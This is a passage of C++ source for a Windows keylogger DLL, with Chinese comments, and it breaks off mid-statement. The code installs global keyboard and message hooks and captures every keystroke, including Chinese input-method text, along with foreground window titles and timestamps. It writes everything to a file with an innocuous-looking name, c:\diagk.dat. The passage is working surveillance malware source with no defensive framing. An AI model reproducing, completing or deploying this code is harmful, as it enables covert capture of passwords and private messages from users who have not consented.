#include "detail.h"
#include "kbdmonitor.h"
#include "time.h"
#include "imm.h"
#pragma data_seg(".inidata")
static HINSTANCE hdll_lib=GetModuleHandle("KbdMonitor");
static HHOOK KBhookEn,KBhookCn;
#pragma data_seg()
#pragma comment(lib,"imm32.lib")
//----------------------------------------------------------------------------
#define UPWORD 1 //大写状态标记
#define LOWWORD 0 //小写状态标记
#define ShiftDown 1 //Shift键按下标记
#define ShiftUp 0 //Shift键弹起标记
//-----------------------------------------------------------------------------
char KeyName[][20]={ //不可显示键的键名列表,总共34个
"Tab","CapsLock","Enter","Shift","Ctrl","Alt","Backspace","Ins","Home","End","Pause","Break","PgUp","PgDn","Delete","NumLock","Left","Right","Down","Up","Left Windows","Esc","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"
};
char KeyOn[]={"~!@#$%^&*()_+{}|:\"<>?"};//具有上下对应字符键的对应数组表
char KeyUnder[]={"`1234567890-=[]\\;',./"};
char* pathCE="c:\\diagk.dat";//中英结合记录的文件保存路径
char Olpstr[128]={0};
DWORD Old_Time=0;//钩子句柄
char old_winname[256]={'\0'},current_winname[256]={'\0'};//保存先前与现在窗口名
bool IMEon=0;//输入法状态,0,未开启;1,开启
//////////////////////////////////////////////////////////////
/*--------------------------键盘钩子回调函数定义[纯键盘]----------------*/
LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam){
if(nCode<0 || nCode == HC_NOREMOVE) return(CallNextHookEx(KBhookEn,nCode,wParam,lParam)); //将信息传递给下一个钩子
HookDeail(wParam,lParam);
return 0;
}
/*--------------------------键盘钩子回调函数定义[支持中文]--------------------------------*/
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam){
HIMC hIMC;
HWND hWnd;
LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
hWnd=pmsg->hwnd;
DWORD Time=pmsg->time;//消息发生时间
if(nCode != HC_ACTION) return 0;
if(pmsg->message==WM_IME_COMPOSITION){
DWORD dwSize;
char lpstr[128]; memset(lpstr, 0, 128);
IMEon=TRUE;//已开启输入法
if(pmsg->lParam & GCS_RESULTSTR){
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if(!hIMC) return 0;
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 128);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
ImmReleaseContext(hWnd, hIMC);
fstream keylog;
keylog.open(pathCE,ios::out|ios::app);//打开指定文件
if(keylog.fail()) return 0;
else{
if ( Old_Time==Time&&!strcmp(Olpstr,lpstr))
{ return 0;}//避免重复记录中文
keylog.write("(输入法按键)",13);//提示用户这些信息为输入法打开时的按键信息
keylog.put('\n');
keylog.write((char *)lpstr,dwSize); //保存中文字符串
keylog.put('\n');
Old_Time=Time;
strcpy(Olpstr,lpstr);
}
keylog.close();
return 1;
}
IMEon=0;//关闭输入法
}
return 0;
}
int KeyBoardHook::SetKeyBoardHook(void)
{
if(hdll_lib!=NULL)
{
if(KBhookEn==NULL)
KBhookEn=SetWindowsHookEx(WH_KEYBOARD,KBhook_deal,hdll_lib,0);//设置全局钩子
if(KBhookCn==NULL)
KBhookCn=SetWindowsHookEx(WH_GETMESSAGE,KBhookCn_deal,hdll_lib,0);//设置全局钩子
}
return 1;
}
int KeyBoardHook::RemoveKeyBoardHook(void)
{
if(hdll_lib!=NULL){
if(KBhookCn)
UnhookWindowsHookEx(KBhookCn); //卸载钩子
if(KBhookEn)
UnhookWindowsHookEx(KBhookEn); //卸载钩子
return 1; }
return 0;
}
int SaveKeyLog(short key,int Word,int ShiftState){
int i=0;
fstream keylog;
keylog.open(pathCE,ios::out|ios::app|ios::binary);//打开指定文件
if(keylog.fail()) return 0;
else{
/*============================================================================
说明:26个英文字符键的伪码经过MapVirtualKey()转化后都是大写字符的ASCII值表示,
故如果是小写状态要将其转化,如果Shift键按下,还要对那些一个键上有两个字
符的键的字符进行转化
==============================================================================*/
if((Word==UPWORD)&&(ShiftState==ShiftUp))//大写,Shift键弹起状态保存
keylog.put((char)key);
else
if((Word==LOWWORD)&&(ShiftState==ShiftUp))//小写,Shift键弹起状态保存
{
if(key>64&&key<91)//判断是否是英文大写的26个字符,是就转换为小写
key+=32;
else
key=key; //不是26个字符,不改变
keylog.put((char)key); //输出信息
}
else
if((Word==UPWORD)&&(ShiftState==ShiftDown))//大写,Shift键按下状态保存
{
while(KeyUnder[i])//判断是否字符串尾
{
if((char)key==KeyUnder[i])//上下字符值转化判断
{
key=KeyOn[i];
keylog.put((char)key);
return 1;
}
i++;
}
if(key>64&&key<91)
key+=32;//判断是否是英文大写的26个字符,是就转换为小写
else
key=key; //不是26个字符,不改变
keylog.put((char)key); //输出信息
}
else
if((Word==LOWWORD)&&(ShiftState==ShiftDown))//小写,Shift键按下状态保存
{
while(KeyUnder[i])
{
if((char)key==KeyUnder[i]) //上下字符值转化判断
{
key=KeyOn[i];
keylog.put((char)key);
return 1;
}
i++;
}
keylog.put((char)key); //输出信息
}
else
keylog.put((char)key); //上面四种情况已经包含了所有组合,这个可要可不要
}
keylog.flush();
keylog.close();
return 1;
}
//function 11:
int SaveWindowName(void){
HWND winhdl; //窗口句柄
winhdl=GetForegroundWindow(); //获得最前端窗口句柄
if(winhdl){
GetWindowText(winhdl,current_winname,sizeof(current_winname)); //保存窗口名到指定位置
CString key;
key.Format("%s",current_winname);
char tmpbuf[18];
_strtime( tmpbuf );
tmpbuf[8]='<';
_strdate(tmpbuf+9);
if(strcmp(old_winname,current_winname)!=0){//如果当前窗口名改变
strcpy(old_winname,current_winname); //改变旧的窗口名为最新窗口名
fstream keylog;
keylog.open(pathCE,ios::out|ios::app|ios::binary);//创建文件对象并保存窗口名
if(keylog.fail()) return 0;
else{
keylog.put('\r');
keylog.put('\n');
keylog.write(current_winname,strlen(current_winname));
keylog.write(tmpbuf,18);
keylog.put('\r');
keylog.put('\n');
keylog.close();
return 1;
} }
else return 1;
}
return 0;
}
int SaveCnStrLog(char *str,int size)
{
fstream keylog;
keylog.open(pathCE,ios::out|ios::app);//打开指定文件
if(keylog.fail()) return 0;
else{
if(size==-1)
{
keylog.put('[');
keylog.write(str,strlen(str)); //保存英文字符串
keylog.put(']');
}
else
keylog.write((char *)str,size); //保存中文字符串
}
keylog.close();
return 1;
}
int HookDeail(WPARAM wParam,LPARAM lParam)//原始键盘钩子
{
char str[20]={0};
int i;
if(GetAsyncKeyState((int)wParam)>0) return 0;//如果没有键被按下 ,返回
if(GetAsyncKeyState((int)wParam)<0) //如果有键被按下并且能够记录信息
{
if (IMEon)//让输入法打开时的按键信息单独保存为一行
{fstream keylog;
keylog.open(pathCE,ios::out|ios::app);//打开指定文件
if(keylog.fail()) return 0;
else{keylog.put('\n');}
}
if(!SaveWindowName()) return 0; //保存窗口名
GetKeyNameText(lParam,str,20); //获取键的键名
for(i=0;i<34;i++)
{ //是否是不可显示键的键名
if(strcmp(str,KeyName[i])==0)
{ //是的话,以特定格式保存
SaveCnStrLog(KeyName[i],-1);//SaveStrLog(KeyName[i])
return 1;
}
}
short key;
key=MapVirtualKey(wParam,2); //获得键的伪码对应的字符值 ,wP